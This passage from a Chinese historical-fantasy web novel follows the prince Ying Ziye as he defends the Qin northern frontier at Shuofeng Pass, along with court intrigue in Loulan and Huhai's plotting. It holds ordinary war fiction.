“末将遵命!”
“待王贲将军援军抵达,立刻分出至少十万精锐,火速驰援无定河前线!”
“告诉他们,兵贵神速,迟则生变!”
“诺!”
“蒙恬将军,”赢子夜看向伤势未愈的蒙恬,“你伤势未愈,暂且留守九原,统筹大局,协调援军。”
蒙恬虽想同往,但也知身体情况,抱拳道:“末将领命!定保九原无虞!”
安排妥当,赢子夜不再犹豫。
目光扫过焰灵姬、雪女、端木蓉、少司命四女以及赵弋苍等暗河精锐。
“点齐一千轻骑,随本公子即刻出发,先行赶往无定河!”
“我们要在王贲大军到来之前,尽可能迟滞敌军攻势!”
“诺!”
众人凛然应命。
赢子夜大步走出郡守府,翻身上马。
在驰出城门的那一刻,他心念微动,对紧随其侧的赵弋苍低声道:“传令暗河,以最快速度,让蛰伏的田言,带领她训练的魏武卒,秘密前往无定河区域候命!”
“魏武卒?”
赵弋苍眼中闪过一丝惊讶,随即领命,“卑职明白!”
赢子夜一夹马腹,战马如离弦之箭般射出。
风中传来他冰冷而坚定的自语:
“匈奴…这盘棋,还没下完!”
“想割裂我大秦北疆?”
“就看你们有没有这么好的牙口!”
……
与此同时。
楼兰王庭。
昔日弥漫着异域香料和酥油气息的华丽宫殿,此刻却被一种前所未有的恐慌和死寂所笼罩。
巨大的穹顶彩绘似乎都失去了颜色。
唯有王座上的楼兰王尉屠耆,脸色惨白如纸,手指死死抠着镶满宝石的扶手,因为用力而微微颤抖。
下方,文武大臣们更是噤若寒蝉,一个个低垂着头,不敢与国王对视。
仿佛生怕那雷霆之怒会降临到自己头上。
空气中只有粗重而压抑的呼吸声。
“一日之间……连下我西域南道十二城……”
一名负责军情的大臣声音发颤,几乎带着哭腔,“扦泥、西夜、精绝……全都……全都陷落了!”
“秦军…秦军根本不是人,是魔鬼!”
“他们的武器会发出雷鸣,城墙在那种武器面前就像沙子堆的一样!”
这消息如同晴天霹雳,将楼兰王最后一丝侥幸心理彻底击碎。
他原本还指望依托城池和沙漠天险,至少能阻挡秦军数月,等待匈奴“盟友”在南边牵制秦军主力。
可现实却如此残酷。
一天!
仅仅一天!
他赖以屏障的南道诸城就易主了!
这已经不是战争,而是碾压!
“使臣呢?!”
楼兰王猛地抬起头,眼中布满血丝,声音嘶哑地咆哮,“本王不是派了使臣去秦军大营,请求他们退兵吗?!”
“他们怎么说?!”
被问到的礼官浑身一哆嗦,噗通一声跪倒在地,额头紧贴地面,颤声道:“大…大王……”
“使臣团…刚接近秦军大营,还未及通报,就……就被秦军的骑兵……乱箭射杀了!”
“只有一名随从拼死逃回!说……说秦将根本不见,只传回一句话……”
“什么话?!”
楼兰王的心沉到了谷底。
礼官的声音带着无尽的恐惧:“那秦将蒙犽说…让西域诸国立刻交出叛臣赵高、以及阴阳家叛逆东君焱妃等人……”
“否
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则……否则便踏平西域,鸡犬不留!”
“赵高?阴阳家?”
楼兰王愣住了,他身边的群臣也面面相觑,露出茫然之色。
这些人是谁?
他们楼兰何时窝藏过这些秦国的叛逆?
就在这时。
一直沉默不语,身披白袍的大祭司,缓缓睁开了浑浊的双眼。
他用沙哑低沉的声音开口道:“大王,老臣近日倒是听闻一些风声……”
“大月氏那边,似乎招揽了一批来自东方的神秘强者,实力非凡,行事诡秘……”
“秦人所指的,会不会就是……”
大祭司的话如同黑暗中划过的一道闪电,让楼兰王尉屠耆猛地一个激灵!
是了!
大月氏!
这个一直与楼兰不太对付的西部强国,最近确实动作频频,据说招揽了不少能人异士!
难道秦国的叛逆,真的跑到了大月氏那里?
这个念头一起,楼兰王眼中瞬间闪过一丝狡黠和狠厉!
仿佛溺水之人抓到了一根救命稻草!
他猛地从王座上站起,脸上恢复了少许血色,但那是病态的潮红。
他快速踱了两步,声音带着一种急切的算计:“对!定然是如此!”
“定然是大月氏包藏祸心,窝藏了秦国的要犯,才引来这泼天大祸!”
“却让我楼兰和南道诸国承受这无妄之灾!!!”
他停下脚步,目光扫过下方惶惶不安的群臣,迅速下达命令:
“立刻再派一队使臣!”
“不,要派能言善辩,身份尊贵之人!”
“携带重礼,前往秦军大营求见那蒙犽将军!”
他语速极快,“就告诉秦将军,我楼兰对天朝绝无二心!”
“他所寻的要犯,极有可能藏身于大月氏国中!”
“我楼兰愿为天朝前驱,提供一切便利,共同讨伐不臣之大月氏!”
这一招,既可将秦军的怒火引向西方的大月氏,为自己争取喘息之机。
又能摆出一副积极配合的姿态,可谓一石二鸟!
“可是大王,”
一名老臣担忧道,“大月氏兵强马壮,若秦军真西进,我楼兰夹在中间,恐怕……”
“怕什么!”
楼兰王打断他,脸上露出一丝狠色,“光靠我楼兰一家,如何抵挡秦军兵锋?”
“立刻再派一队使臣,秘密出使龟兹、疏勒、姑墨等国!”
“告诉他们,秦国狼子野心,欲吞并整个西域!”
“唇亡齿寒!”
“若我楼兰覆灭,下一个就是他们!”
“让他们速速集结兵力,与我楼兰联合,共同抗衡秦军!”
“西域是我们西域人的西域,绝不能让秦人在这里为所欲为!”
他试图重新凝聚起那早已破碎的“西域共主”的威严,但颤抖的尾音却暴露了他内心的虚怯。
很快。
两拨使臣带着截然不同的使命,匆匆离开了楼兰王城,一头扎进茫茫大漠。
楼兰王望着他们离去的背影,心中七上八下。
祸水西引,联合抗秦……
这步棋,到底能不能救得了摇摇欲坠的楼兰?
他一点把握都没有。
如今,只能祈祷长生天保佑,以及…大月氏足够强大,能多抵挡秦军一段时间了。
第353章 本公子自当全力相助六哥!
黎明时分。
赢子夜率领的一千轻骑风尘仆仆地抵达了无定河流域南端的重要关隘——
朔风关。
关墙依山而建,地势险要。
但此刻关门紧闭,墙头布满了神色紧张的守军,**齐备,如临大敌。
“来者何人?!”
关上一名校尉高声喝问,声音带着疲惫和警惕。
“大秦六公子,北疆巡察使赢子夜在此!速开城门!”
赵弋苍策马上前,亮出令牌,声若洪钟。
关上守军一阵骚动。
确认身份后,沉重的城门才在刺耳的绞盘声中缓缓开启。
赢子夜一行人马不停蹄,径直入关。
关隘守将是一名面容坚毅,但眼窝深陷的中年将领,名叫李焕。
他快步迎上,单膝跪地:“末将朔风关守将李焕,参见殿下!不知殿下亲至,有失远迎,望殿下恕罪!”
“李将军请起,军情紧急,不必多礼。”
赢子夜翻身下马,目光扫过关内。
只见街道两旁挤满了衣衫褴褛,面带惊恐的百姓,多是妇孺老弱,空气中弥漫着不安和绝望的气息。
“这些是……?”
李焕站起身,脸上露出悲愤之色:“回殿下,这些都是从北面被蛮军攻破的城池逃难来的百姓!”
“安陶、高望两城……”
“就在昨日,相继被攻破了!”
“蛮军烧杀抢掠,无恶不作!”
“百姓们……死伤惨重,这些都是侥幸逃出来的。”
赢子夜心头一沉,又丢了两城!!
蛮军推进的速度比他预想的还要快!
他走到一群围坐在墙角,目光呆滞的难民面前,蹲下身,放缓声音问道:“老乡,你们可见到攻城的蛮军是什么样子?”
一个头发花白的老者抬起浑浊的双眼。
看到赢子夜的服饰和气度,仿佛找到了主心骨,老泪纵横。
“大人…那些不是普通的蛮子啊…是…是真正的魔鬼!”
“他们穿着黑色的铁甲,刀枪不入!”
“攻城的时候,根本不怕死,像疯子一样往上冲!”
“还有…还有会妖法的人,能召唤狼群,能掀起风沙……”
“我们……我们根本挡不住啊!”
老者的话语引发了其他难民的共鸣,纷纷哭诉起来,描述着蛮军的凶残和那些超出常理的手段。
赢子夜静静听着,脸色愈发凝重。
这绝不是普通的草原劫掠部队,而是真正的精锐,而且其中混杂了修炼有成的异族强者!
这印证了他之前的猜测,匈奴此次图谋极大。
投入的力量也远超寻常。
更有一名从更北方逃来的商人补充道:“大人,小的逃来时,还听说不止这一路蛮军!”
“好像还有什么金狼骑、白鹿部落的强者,各自带着好几万人马,分头去攻打周边其他的郡城了!”
“看那架势,是要把整个北疆搅个天翻地覆啊!”
赢子夜猛地站起身!
分兵多路,同时进攻!
这不仅仅是横向切割,更是要全面瘫痪北疆的防御体系!
局势比他预想的还要恶劣十倍!
他不再犹豫,转身大步走向关隘的指挥所。
同时对紧随其后的李焕、赵弋苍等人下达一连串不容置疑的命令,语速快如疾风:
“李焕,立刻加派所有能动用的精锐斥候,分成数队,不惜一切代价,给本公子摸清各路蛮军的准确位置,兵力配置,主将情报,推进速度!”
“我要知道他们每一路的动向!”
“有任何消息,立刻来报!”
“末将遵命!”
李焕凛然应命,深知情报乃生命线。
“赵弋苍!”
赢子夜目光锐利如刀,“动用暗河全部力量,重点侦查那些所谓的‘金狼骑’、‘白鹿部落’强者。”
“以及蛮军中任何疑似修炼者的情报!”
“他们的实力如何?有何特殊能力?军队的部署弱点在哪里?”
“我要最详细的信息!”
“卑职明白!这就安排最得力的探子出动!”
赵弋苍眼中寒光一闪,领命欲走。
“且慢!”
赢子夜叫住他,继续下令,声音带着斩钉截铁的决绝,“立刻派人,以最快速度找到王贲的驰援大军!”
“传本公子令:命他们抛弃一切不必要的辎重,轻装简从,全速行军!”
“三日之内,必须赶到朔风关区域投入战斗!”
“迟到一刻,主将以下,军法从事,绝不姑息!!!”
“诺!”
赵戈苍身后,一名传令兵大声应道,转身飞奔出去,跨上战马,绝尘而去。
赢子夜走到简陋的沙盘前,看着上面标注的敌我态势,眉头紧锁。
光靠现有的守军和即将到来的援军,正面抗衡这几路如狼似虎的蛮军精锐,尤其是那些神秘的强者,胜负难料。
他需要更多的筹码。
他沉吟片刻,眼中闪过一丝决断,对身旁一名负责通讯的暗河成员道:“传讯回咸阳,以本公子的名义,紧急征调万世书院中,精通机关术、阵法、器械制造的弟子,火速前来朔风关!”
“告诉他们,北疆危局,这是为国效力的时刻!!”
“属下遵命!”
暗河成员领命,立刻去安排飞鸽传书。
……
受降城内,气氛略显诡异。
这座小城并未遭受直接攻击,但空气中弥漫的紧张感却丝毫不亚于前线。
胡亥慵懒地靠在一张铺着白虎皮的软榻上,指尖把玩着一枚玉珏,听着心腹将领的禀报。
“公子,刚得到密报,六公子赢子夜……已抵达朔风关。”
胡亥把玩玉珏的手指微微一顿,狭长的眼眸中闪过一丝真实的讶异:“哦?六哥动作倒是快。”
“他不是应该在九原收拾残局么?”
“左贤王那个废物,十万大军就这么败了?”
他的语气带着毫不掩饰的讥讽和失望。
“据闻…六公子在九原用了些…非常手段,大破匈奴,左贤王确被阵斩。”
心腹将领低声补充道。
“废物!十足的废物!”
胡亥冷哼一声,将玉珏随手丢在案几上,发出清脆的声响。
“枉费本公子暗中给了他那么多‘便利’,竟如此不堪一击!”
这时,旁边一名较为耿直的狼族将领,乃是挛鞮的心腹,忍不住开口问道:“公子,如今赢子夜已至朔风关,前线吃紧,我们……是否要出兵策应?”
“哪怕牵制一部分秦军
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也好?”
胡亥闻言,猛地坐直身体,脸上瞬间换上了一副正气凛然,忧国忧民的表情。
声音也提高了八度,足以让帐内外的人都隐约听到:“放肆!你这是什么话?!”
“吾乃大秦十八公子,父皇亲封的北疆督军!”
“如今外族蛮夷大举入侵,屠我城池,杀我百姓,国难当头,岂能坐视不理?”
“自当竭尽全力,与六哥……与北疆将士们同仇敌忾,共赴国难!”
“守好这受降城,便是为六哥稳住侧翼,分担压力!”
“此乃本公子分内之事,何须多言!”
这番话说得冠冕堂皇,掷地有声。
那狼族将领和帐内其他几个不明就里的部下都被这突如其来的“**亮节”弄得一愣,面面相觑。
这……这真是他们认识的那个阴鸷自私,睚眦必报的十八公子吗?
怎么突然变得如此深明大义?
又要帮秦军了?
胡亥将众人的反应尽收眼底,心中冷笑,脸上却依旧是一副凛然模样。
他目光骤然转冷,如同毒蛇般盯住那个提出建议的狼族将领,声音变得阴森。
“你方才……是在质疑本公子的决心?”
那将领被他看得浑身发毛,冷汗瞬间就下来了,连忙单膝跪地,惶恐道:“末将不敢!”
“末将失言!公子忠义,天地可鉴!”
“末将这就去督促城防,绝不让蛮军越雷池一步!”
“滚下去!”
胡亥冷冷道。
“诺!”
那将领如蒙大赦,连滚爬爬地退出了大帐。
帐内只剩下胡亥和他的几个绝对心腹。
胡亥脸上那副“忠臣良将”的面具瞬间消失,取而代之的是一种混合着算计、阴冷和迫不及待的残忍笑容。
共赴国难?
哼,笑话!
他低声嗤笑,拿起案上的酒杯轻轻摇晃,“我那六哥不是能耐大么?”
“不是会用毒么?”
“就让他去跟那些蛮子拼个你死我活好了!”
“本公子巴不得他深陷重围,最好就死在乱军之中!”
他眼中闪烁着恶毒的光芒:“到时候,北疆群龙无首,溃不成军,还得靠本公子来收拾残局!”
“整合败兵,再凭借狼族铁骑,未必不能挽狂澜于既倒!”
“届时,这抵御外侮,收复失地的不世之功,就是本公子的了!”
“父皇面前,还有谁能与我争锋?”
一个心腹小心翼翼地问道:“那公子,我们眼下……”
“眼下?”
胡亥抿了一口酒,笑容诡谲,“自然是‘全力’守城啊!”
“要把声势造足,让所有人都看到,我胡亥正在受降城与蛮军浴血奋战,寸土不让!”
“被牢牢牵制在此地,无法分身驰援我那亲爱的六哥……明白吗?”
“属下明白!”
心腹们立刻领会,这是要阳奉阴违,坐山观虎斗。
胡亥满意地点点头,望向朔风关的方向,仿佛已经看到了赢子夜兵败身死的惨状。
他只需要耐心等待,等待一个最佳的时机,出来收拾“残局”。
至于北疆百姓的死活,大秦疆土的得失……
在他心中,远不如那至高无上的权力诱人。
第354章 事出反常必有妖!
朔风关。
指挥所内,气氛比前几日更加凝重。
赢子夜正听着守将李焕关于难民安置问题的奏禀,眉头越皱越紧。
“殿下,从北面逃难来的百姓越来越多,城内所有空置的房屋、军营甚至马棚都住满了人,粮食消耗巨大,库存储备以肉眼可见的速度下降。”
“更麻烦的是,人多杂乱,疫病也开始有冒头的迹象,医官和药材都严重不足。”
李焕的声音带着深深的忧虑,面对这座突然涌入数万难民的关城,压力巨大。
赢子夜目光扫过桌案上简陋的城防图,手指在几个后方城池的位置点了点:“不能将所有鸡蛋放在一个篮子里。”
“立刻组织人手,由一队精锐士卒护送,将部分老弱妇孺,以及伤势较重的百姓,分批转移至后方的肤施、高奴等城安置。”
“动作要快,但要确保秩序,防止发**。”
他顿了顿,语气转为严厉:“同时,严令守城士卒,对所有入城难民进行严格盘查!”
“核对身份,询问来路,检查随身物品!”
“非常时期,宁可错查,不可错放!”
“谨防蛮军细作混入城中,里应外合!”
“末将明白!这就去安排!”
李焕刚要领命而去——
“报——!”
一名斥候兵连滚带爬地冲进指挥所,脸色煞白,声音急促得变了调:“启禀殿下!李将军!”
“城外十里,发现一队戎族轻骑,约千人左右,正快马加鞭,朝着关城方向疾驰而来!”
“速度极快!”
“什么?!”
李焕闻言,脸色骤变,猛地看向赢子夜,“殿下!”
“眼下城门尚未完全关闭,还有不少难民正在排队等候入城核查!”
“若是让这队戎骑冲到城下……”
“后果不堪设想!”
城门来不及关闭,城外滞留的难民将被**殆尽,戎骑甚至可能趁机冲入城内!
指挥所内瞬间一片死寂!
所有人的目光都聚焦在赢子夜身上,等待他的决断。
是立刻关闭城门,放弃城外那些可怜的百姓?
还是……
赢子夜眼中寒光一闪,没有任何犹豫,斩钉截铁地下令:“绝不能弃百姓于不顾!”
“李焕,立刻点齐一千五百骑兵,由你亲自率领,出城列阵!”
“给本公子拦住那队戎骑,为百姓入城争取时间!”
“殿下!”
“千金之子不坐垂堂!”
“您……”
李焕下意识地想劝阻,城外风险太大。
“执行命令!”
赢子夜声音冰冷,不容置疑,“记住,你们的任务是阻击、拖延,并非死战!”
“利用**远距离杀伤,且战且退,待百姓全部入城,城门关闭后,即刻撤回!”
“末将……领命!”
李焕感受到赢子夜决绝的态度,知道再无转圜余地,重重一抱拳,转身冲出指挥所,点兵去了。
赢子夜看着李焕离去的背影,眉头却并未舒展,反而锁得更紧。
他沉吟片刻,对如同影子般侍立一旁的赵戈苍低声道:“派我们的人,暗中盯紧近几日,尤其是今日入城的难民。”
“重点观察他们的行为举止,有无异常联络,或者……对城防设施表现出不该有的兴趣。”
赵戈苍眼中精光一闪,压低声音:“主上的意思是……担心难民中混有细作?”
“这队戎骑的出现,是为了制造混乱,掩护细作入城?”
赢子夜走到窗边,望着城外隐约扬起的尘土,目光深邃:“千人轻骑,在这个节骨眼上出现,太诡异了。”
“若真是大军前锋,不会只有这点人,且行动如此张扬。”
“若说是斥候,规模又太大了些,更像是在故意吸引我们的注意力。”
他手指轻轻敲击窗棂,分析道:“有两种可能。”
“其一,他们确实是想趁乱冲击城门,**难民,打击我军士气。”
“其二,这或许是个幌子,真正的目的是利用我们急于保护百姓,城门洞开的机会,将精心伪装的细作送入城中!”
“里应外合,才是破城的关键!”
赢子夜转过身,眼中闪烁着冷静的光芒:“当然,也可能是本公子多虑了。”
“但非常时期,不得不防!”
“百姓要救,但城池安危更是重中之重!”
“告诉下面的人,眼睛都放亮些,宁可错盯一千,不可放过一个!”
“卑职明白!”
“这就去安排,绝不会让任何宵小之徒在城中兴风作浪!”
赵戈苍凛然领命,身影一晃,便消失在阴影之中。
赢子夜独自留在指挥所内,听着城外逐渐响起的马蹄声和隐约的号角声,心情并未放松。
救百姓是道义和责任。
但作为统帅,他必须考虑到所有潜在的风险。
这队突如其来的戎骑,就像投入平静湖面的一颗石子,激起的涟漪下,是否隐藏着更深的暗流?
他走到沙盘前,目光再次扫过无定河流域和周边错综复杂的敌我态势。
胡亥的“坚守”,各路蛮军的推进,难民潮,细作疑云……
这一切交织在一起,让朔风关变成了风暴的中心。
“无论你们有什么阴谋诡计……”
赢子夜低声自语,指尖重重地点在朔风关的位置,“本公子都会在这里,等着你们!”
……
与此同时。
朔风关外。
烟尘滚滚,杀声骤起!
李焕率领的一千五百秦军骑兵,如同黑色的铁流,迎着那支千人戎骑狠狠撞了上去!
弓弦震响,箭矢如同飞蝗般在空中交错。
随即,便是短兵相接的刺耳金属碰撞声、战马的嘶鸣和士兵的怒吼惨叫!
战斗一开始就进入了白热化!
秦军骑兵凭借着更好的装备和纪律,勉强挡住了戎骑的第一波冲锋,双方在距离城门约三里处展开了惨烈的绞杀!
李焕牢记赢子夜的命令,并不恋战!
指挥部队以**远程袭扰为主,且战且退,竭力拖延时间。
城门口,则是一片混乱而有序的景象。
守城士兵声嘶力竭地呼喊着,引导着惊恐万分的难民们快速通过城门洞。
老人踉跄,妇人哭泣,孩童尖叫,人们推搡着,拥挤着,只想尽快逃离身后那越来越近的死亡威胁。
士兵们努力维持着秩序,快速核查着身份。
但面对潮水般涌来的人群,所谓的严格盘查早已力不从心。
更多是象征性地问几句,便挥手放行。
赢子夜玄衣玉冠,独立于朔风关高大的城墙之上
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,寒风吹拂着他的发丝和衣袂,他却浑然不觉。
他的目光如同鹰隼般锐利,死死盯着下方涌入城门的每一个难民。
他看到满脸污垢,眼神麻木的老农。
看到抱着婴儿,惊慌失措的年轻母亲。
看到相互搀扶,步履蹒跚的伤者……
每一张脸上都写满了逃出生天的庆幸和对未来的茫然。
这些人,看起来都是再普通不过的百姓,饱受战火蹂躏的可怜人。
然而,赢子夜的心弦却绷得紧紧的。
他的直觉,以及多次在权力漩涡中培养出的警惕性,都在告诉他。
这看似混乱的难民潮中,极有可能隐藏着致命的毒刺!!
“细作……会混在里面吗?”
他心中默念,目光如同梳子般扫过人群,“若是细作,此刻必定极力掩饰,甚至会表现得比普通人更惊慌,更无助,以求顺利混入。”
他的视线掠过几个低头疾走,用破布包裹着头脸的男子。
又看向几个紧紧靠在一起,眼神却不时偷偷打量四周的一家人。
每一个稍微异常的举动,都会在他心中激起一丝涟漪。
而城墙根下。
一些提前入城的“难民”蜷缩在临时搭建的破旧窝棚或残垣断壁下,瑟瑟发抖。
正是暗河成员们所伪装!
他们看似惊恐无助,实则眼观六路,耳听八方。
默默记下每一个新入城难民的特征和行为。
赢子夜将暗河成员这些无声的交流看在眼里,心中稍定,但疑虑并未完全消除。
“或许……真是本公子多虑了?”
他望着城外那场为了掩护这些百姓入城而进行的血腥阻击战。
秦军骑兵不断有人**,鲜血染红了枯草。
“这千人戎骑,或许真的只是一支狂妄的斥候,或是前来骚扰,**难民以泄愤的偏师?”
“不,左贤王新败,蛮军和戎族主力正急于完成战略合围,怎会在此刻派出如此一支不痛不痒的骑兵?”
“事出反常必有妖!”
“这千人,就是丢出来的诱饵,或者……是演戏的道具!”
他的目光再次投向城下。
那个行动敏捷的男子已经消失在街角。
而那几个眼神飘忽的一家人也挤进了难民营中。
一切看似恢复了“正常”。
是狐狸,总会露出尾巴。
如果他们是细作,迟早要行动。
赢子夜深深吸了一口带着硝烟和血腥味的冰冷空气,强迫自己冷静下来。
焦虑和猜疑解决不了问题。
他现在能做的,就是布好网,静待鱼儿上钩。
保护百姓是必须承担的责任。
而清除内患,则是确保这份责任不至于变成灾难的关键。
“李焕那边……应该快撑不住了。”
赢子夜估算着时间,对身旁传令兵沉声道:“传令,准备关闭城门!”
“**手就位,掩护我军骑兵撤回!”
命令下达,沉重的闸门开始缓缓移动!
城外的战斗也进入了最惨烈的阶段,戎骑似乎察觉到了秦军的意图,进攻变得更加疯狂!!
赢子夜最后看了一眼那些终于全部涌入城内的难民,他们的身影很快被关闭的城门隔绝。
城内,是暂时的安全。
城外,是血肉横飞的战场。
第355章 凡私藏叛逆者,灭国!
不久,李焕率领着伤亡不小的骑兵队伍撤回城内。
他本人甲胄上沾染着血迹,脸上带着疲惫却亢奋的神情,快步登上城楼向赢子夜复命!
“殿下!末将幸不辱命!戎骑已被击退,斩首四百余级,我军伤亡约三百人。”
李焕抱拳禀报,随即补充道,“按殿下先前吩咐,末将已派出一支精干斥候,暗中尾随那支败退的戎骑,监视其动向,看他们最终去向何处。”
赢子夜微微颔首,目光依旧停留在城外那片刚刚经历厮杀的土地上,语气平静:“做得很好。”
“将士们辛苦了,厚加抚恤。”
“戎骑退而不乱,显然并非乌合之众,其动向务必盯紧。”
“末将明白!”
李焕应道,但脸上随即露出一丝犹豫,欲言又止。
赢子夜转过身,看向他:“还有何事?”
李焕斟酌着词语,说道:“殿下,关于入城难民的安置……末将以为,是否过于谨慎了?”
“如此大张旗鼓地区分、登记,恐怕会引得人心惶惶,反而不好管理。”
“况且,如今北疆兵荒马乱,各城沦陷,人口册籍多半毁于战火或遗失,想要查证这些难民的身份,几乎……几乎是不可能的。”
赢子夜听完,脸上并无不悦,反而露出一丝高深莫测的淡然笑容。
他走到城墙垛口,望着城内那片临时划出,正在搭建窝棚的难民安置区,缓缓开口:
“李将军,你以为本公子下令登记造册,是真的指望能靠几本可能早已不存在的册子,就查出谁是细作吗?”
李焕一愣:“殿下之意是……?”
赢子夜转过身,目光锐利地看着李焕:“查证身份,本就是虚招。”
“城池沦陷,册籍无踪,这一点,你我知道,那些可能混进来的细作,更是一清二楚。”
“他们既然敢来,必然做好了万全的身份伪装,岂会怕我们查?”
他顿了顿,继续道:“本公子之所以还要如此大张旗鼓地登记造册,对外宣称是为了统一管理,防止混乱,其真正目的,有三。”
“其一,正如你所言,方便管理。”
“数万难民涌入,若无章法,必生乱象。”
“登记造册,划分区域,可有效维持秩序,分配物资,防止疫病蔓延。”
“这是明面上的好处。”
“其二,”赢子夜的声音压低,带着一丝冷意。
“便是要给那些心怀鬼胎的人,施加一种无形的压力!”
“我们越是表现得按规矩办事,越是显得‘公事公办’,他们反而会越加疑惑,越加小心。”
“他们会猜测,我们是否真的掌握了什么线索?”
“是否在登记过程中布下了什么陷阱?”
“这种猜疑和压力,会让他们在行动时更加谨慎,也更容易露出马脚。”
“这就好比在黑暗中,你明知可能有陷阱,但对方却打着灯笼告诉你路怎么走,你反而会步步惊心,不敢妄动。”
李焕眼中闪过一丝明悟:“殿下是说……打草惊蛇,实则稳坐钓鱼台?”
“不错。”
赢子夜赞许地点点头,“其三,也是最重要的一点。”
“当我们把所有新入城的难民都监控起来,进行严格登记后,在那些细作看来,这或许意味着我们最初的警惕性已经过去了,认为我们已经完成了筛查,接下来可能会放松管理。”
“这种安全的错觉,正是他们最有可能开始行动的时候!”
他嘴角勾起一抹冰冷的弧度:“而我们,要的就是他们这种错觉。”
“明松暗紧,外松内紧。”
“登记造册是明面上的‘紧’,是做给他们看的。”
“而真正的‘紧’,是隐藏在难民中的暗河,是那些看似普通的邻居,是每一双在暗处盯着他们的眼睛!”
李焕彻底明白了赢子夜的深意,心中不由升起一股寒意和敬佩。
这位六殿下的心思,果然名不虚传,实在太深了!
每一步都蕴含着多重算计。
“末将愚钝!”
“殿下深谋远虑,末将佩服!”
李焕心悦诚服地拱手,“末将这就去安排,定将此事办得滴水不漏,既安抚难民之心,又布下天罗地网!”
“去吧。”
赢子夜挥了挥手,“记住,登记要认真,态度要温和,要让所有人都觉得,我们只是在履行正常的管辖职责。”
“至于暗中的布置……你知道该怎么做。”
“诺!末将告退!”
李焕领命,转身大步离去,脚步都轻快了许多,仿佛已经看到了那些隐藏的耗子被揪出来的场景。
赢子夜独自留在城头,暮色渐渐降临,将朔风关笼罩在一片朦胧之中。
城内难民安置区点起了星星点点的篝火,隐约传来孩童的啼哭和大人疲惫的交谈声。
看似平静的表面下,暗流汹涌。
“来吧,让本公子看看,你们能藏到几时。”
赢子夜低声自语,眼神在暮色中闪烁着猎人般的光芒。
……
蛮军主力大营深处。
一顶比其他帐篷更加巨大,装饰着狰狞狼头和白骨图腾的王帐内,气氛狂放而粗野。
身材魁梧如熊罴,披着完整黑狼皮,脸上带着数道狰狞疤痕的蛮军主将——
被称为“碎颅王”的兀突骨。
正大口撕咬着一条烤羊腿,油脂顺着他的虬髯滴落!
听完斥候关于朔风关守军兵力薄弱,且今日刚经历一场小规模骑兵冲突的禀报。
他随手将啃干净的骨头扔进火盆,发出嗤之以鼻的冷哼。
“哼!秦狗也就这点能耐了!”
“靠着城墙和
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诡计,侥幸赢了左贤王那个废物,就以为能挡住**原雄鹰的铁蹄?”
兀突骨的声音如同砂石摩擦,充满了不屑与残忍。
他伸出猩红的舌头舔了舔嘴角的油渍,一双铜铃般的眼睛里闪烁着嗜血的光芒。
“传令下去!”
他猛地站起身,庞大的阴影投在帐幕上,带着一股令人窒息的压迫感,“明日拂晓,全军压上!”
“让儿郎们吃饱喝足,给本王一鼓作气,踏平那座小破关!”
他走到简陋的兽皮地图前,粗壮的手指狠狠点在代表朔风关的位置上,仿佛已经将其碾碎!
“攻城器械都给老子准备好!”
“第一战,就给本王把他们的破墙砸开个口子!”
“步兵随后跟上,杀光所有敢抵抗的秦狗!”
帐内几名凶悍的千夫长和部落勇士纷纷发出兴奋的狼嚎,摩拳擦掌!
兀突骨脸上露出残忍的狞笑,补充道:“破城之后,不必停留劫掠!”
“骑兵给本王追着溃逃的秦狗杀!”
“一直杀到他们胆寒,杀到后面的秦人城池望风而逃!”
“这北疆之地,合该被**原勇士的骏马践踏!”
他压根没去想别的。
因为在绝对的力量和野蛮的冲锋面前,一切阴谋诡计都是徒劳!
他要用最直接,最暴力的方式,碾碎眼前的一切障碍!!
……
西域。
已被秦军临时征用为行辕的原扦泥城守将府内,气氛肃杀。
蒙犽端坐主位,甲胄未卸,面容冷硬如铁,仿佛一座不会融化的冰山。
他刚刚听完风尘仆仆的楼兰使臣,涕泪交加地陈述完楼兰对天朝的“忠心耿耿”,以及对于“大月氏可能包藏祸心”的合理猜测。
并献上了足足十大箱金银珠宝、玉石玛瑙作为“孝敬”。
蒙犽的目光扫过那些打开的箱笼。
璀璨的光芒映照着他毫无波澜的眼眸。
没有一丝贪婪,只有冰冷的审视!
他并未立刻表态,而是让那压抑的沉默在厅堂中蔓延,压得楼兰使臣几乎喘不过气,额头冷汗涔涔。
良久,蒙犽才缓缓开口。
声音不高,却带着金属般的质感,每一个字都敲打在使臣的心头。
“既然尔等楼兰声称对此事毫不知情,且愿效忠大秦……”
使臣连忙叩首:“下国对天朝绝无二心!日月可鉴!”
蒙犽打断他,语气不容置疑:“那便替本将军,向西域诸国传一句话。”
使臣屏住呼吸,竖起耳朵。
蒙犽的声音陡然转厉,带着一股席卷一切的霸道!
“凡西域诸国,有敢藏匿帝国叛逆赵高、阴阳家余孽东君焱妃等人者,一经查实,无论缘由,无论大小,国祚立斩,宗庙夷平,鸡犬不留——”
“灭国!”
第356章 难道真是自己多虑了?
“灭国”二字,如同惊雷,在使臣耳边炸响!
吓得他浑身一颤,几乎瘫软在地!
蒙犽继续道,目光如刀锋般刮过使臣惨白的脸:“至于大月氏…尔等也派人去,给本将军传个话。”
“限他们十日之内,将隐匿的叛逆悉数交出,缚送至我军营前。”
“否则……”
他顿了顿,嘴角勾起一抹毫无温度的弧度,伸手指向西方:“我大秦三十万锐士,便将兵锋西指,踏平大月氏王庭!”
“勿谓言之不预!”
使臣听到这里,脸上露出了极其为难的神色,嘴唇哆嗦着!
“将…将军明鉴,我楼兰……国小力微,如何敢…如何敢去对大月氏那般强国传此…此等话语?”
“这…这岂不是……”
“嗯?”
蒙犽鼻腔里发出一声冷哼,眼神骤然变得锐利如鹰隼,一股无形的杀气瞬间笼罩了整个厅堂,温度仿佛都下降了几分!
“你方才不是口口声声,唯我大秦天朝马首是瞻么?”
“如今让你代为传话,便推三阻四?”
他身体微微前倾,压迫感十足:“还是说,你楼兰所谓的效忠,只是嘴上功夫?”
“若大月氏因此对尔等不满,甚至刀兵相向,自有我大秦百万雄师,为尔等撑腰!”
“难道,尔等不信我大秦之力?!”
“不敢!下国万万不敢!”
使臣被蒙犽的气势吓得魂飞魄散,连连磕头,“将军息怒!下国……下国一定将话带到!”
“一定带到!”
他再不敢有半分犹豫,生怕慢了一步,这位杀神般的秦将就会立刻下令将他也拖出去砍了。
“滚吧。”
蒙犽重新靠回椅背,挥了挥手,仿佛驱赶一只苍蝇。
使臣如蒙大赦,连滚爬爬地退出了大厅,连那些进献的礼物都顾不上了。
厅内重归寂静。
一名副将走上前,看着使臣狼狈消失的方向,低声道:“将军,楼兰人此举,分明是祸水西引,想让我军与大月氏鹬蚌相争,他们好坐收渔利。”
“其心可诛!”
